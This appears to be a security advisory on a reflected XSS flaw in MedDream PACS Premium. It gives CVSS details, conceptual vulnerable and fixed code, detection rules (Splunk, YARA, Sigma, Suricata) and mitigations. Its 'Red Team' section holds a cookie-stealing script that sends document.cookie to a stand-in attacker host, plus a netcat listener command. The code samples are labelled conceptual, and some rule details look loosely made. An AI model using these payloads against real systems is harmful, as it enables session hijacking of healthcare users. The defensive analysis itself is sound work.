CVE-2025-54778
Executive Summary
CVE-2025-54778 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the existingUser functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but no authentication, making it a viable vector for phishing or credential theft in healthcare environments. No patch is currently available, and exploitation is considered trivial.
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Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary medical imaging software (PACS) from MedDream. No open-source supply chain implications exist.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.1, the lack of a patch and the sensitive nature of medical data elevate the risk in healthcare environments.
Deep Dive & Mechanics
The vulnerability exists in the existingUser functionality of MedDream PACS Premium. This feature likely handles user lookup or validation, reflecting user-supplied input (e.g., a username parameter) directly into the HTML response without proper sanitization or encoding.
Attack Flow:
- An attacker crafts a malicious URL containing JavaScript payload in the vulnerable parameter (e.g.,
?username=<script>alert('XSS')</script>). - The attacker lures a victim (e.g., via phishing email) to click the link.
- The victim’s browser executes the injected script in the context of the MedDream PACS application.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: Lack of output encoding or input validation in the server-side code handling the existingUser request.
Vulnerable vs. Patched Code
Since no patch is available, the following represents the likely vulnerable pattern and a secure alternative.
Vulnerable Code (Conceptual):
# Vulnerable: Direct reflection of user input
def existing_user(request):
username = request.GET.get('username')
return HttpResponse(f"<div>User: {username}</div>")
Patched Code (Conceptual):
# Patched: Proper output encoding
from html import escape
def existing_user(request):
username = request.GET.get('username')
safe_username = escape(username)
return HttpResponse(f"<div>User: {safe_username}</div>")
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- MedDream PACS Premium 7.3.6.870 running on a target.
- A victim with access to the application.
Exploit Payload:
<script>alert('XSS')</script>
Crafted URL:
http://target-pacs.com/existingUser?username=<script>alert('XSS')</script>
Advanced Payload (Cookie Theft):
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Usage:
- Host a listener on attacker machine:
nc -lvnp 80 - Send the crafted URL to the victim.
- Capture the cookie when the victim clicks.
Blue Team (Defender)
Detection:
- Monitor web logs for suspicious parameters containing
<script>,onerror,onload, or base64-encoded JavaScript. - Use WAF rules to block reflected XSS patterns.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri="/existingUser*" AND (uri_query=*<script>* OR uri_query=*onerror*)
| table _time, src_ip, uri, uri_query, user_agent
Indicators of Compromise (IOCs)
- URL Patterns:
/existingUser?username=*<script>* - Network Traffic: Outbound HTTP requests to attacker-controlled domains from the PACS server.
- Log Entries:
GET /existingUser?username=<script>...with unusual user agents. - File Artifacts: Temporary files in browser cache containing XSS payloads.
Detection Engineering
YARA Rule
rule CVE_2025_54778_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against MedDream PACS existingUser endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-54778"
strings:
$xss1 = "/existingUser?username="
$xss2 = "<script>"
$xss3 = "onerror="
$xss4 = "onload="
$xss5 = "javascript:"
condition:
all of ($xss1, $xss2) or all of ($xss1, $xss3) or all of ($xss1, $xss4) or all of ($xss1, $xss5)
}
Sigma Rule
title: Reflected XSS Attempt Against MedDream PACS existingUser
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the existingUser endpoint of MedDream PACS Premium
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/existingUser?username="
cs-uri-query|contains|any:
- "<script>"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate user input containing similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54778 MedDream PACS Reflected XSS Attempt"; flow:to_server,established; content:"/existingUser?username="; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the MedDream PACS server from untrusted networks if possible.
- Implement WAF rules to block reflected XSS patterns (e.g., ModSecurity rule for
existingUser). - Educate users about phishing risks and not clicking suspicious links.
Long-Term Fix:
- Contact MedDream for an official patch.
- If source code is available, apply output encoding to all user-supplied input in the
existingUserendpoint. - Conduct a full security audit of the application.
Workaround:
- Disable the
existingUserfunctionality if not critical. - Use a reverse proxy to sanitize input before reaching the application.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
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